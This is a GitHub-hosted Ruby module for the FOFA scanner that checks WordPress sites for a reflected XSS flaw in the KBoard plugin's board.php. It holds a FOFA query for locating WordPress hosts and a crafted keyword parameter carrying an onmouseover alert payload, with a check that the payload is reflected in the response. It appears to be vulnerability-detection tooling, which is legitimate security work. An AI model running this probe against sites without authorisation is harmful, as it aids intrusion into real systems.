-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathWordPress_Plugin_KBoard_XSS.rb
57 lines (52 loc) · 1.67 KB
/
WordPress_Plugin_KBoard_XSS.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
require 'fofa_core'
class FofaExploits < Fofa::Exploit
def get_info
{
"Name": "WordPress Plugin KBoard /wp-content/plugins/kboard/board.php 参数keyword XSS漏洞",
"Description": "WordPress Plugin KBoard在页面/wp-content/plugins/kboard/board.php的GET参数keyword存在反射型XSS漏洞,可以通过闭合执行js代码。",
"Author": "[email protected]",
"Product": "Wordpress",
"Homepage": "http://www.wordpress.com/",
"DisclosureDate": "2016-09-26",
"FofaQuery":"( body=\"content=\\\"WordPress\"$$ || (header=\"X-Pingback\" && header=\"/xmlrpc.php\" && body=\"/wp-includes/\" ) )",
"References":["https://www.seebug.org/vuldb/ssvid-92498" ],
"ScanSteps":[
"AND",
{
"Request":
{
"method": "GET",
"uri": "/wp-content/plugins/kboard/board.php?pageid=1&board_id=1&mod=list&target=&keyword=1\" onmouseover=alert(/xss/)\"",
},
"ResponseTest":
{
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200"
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "onmouseover=alert(/xss/)\""
}
]
}
}
]
}
end
def initialize(info = {})
super( info.merge(get_info()) )
end
def vulnerable(hostinfo)
excute_scansteps(hostinfo) if @info['ScanSteps']
end
def exploit(hostinfo)
end
end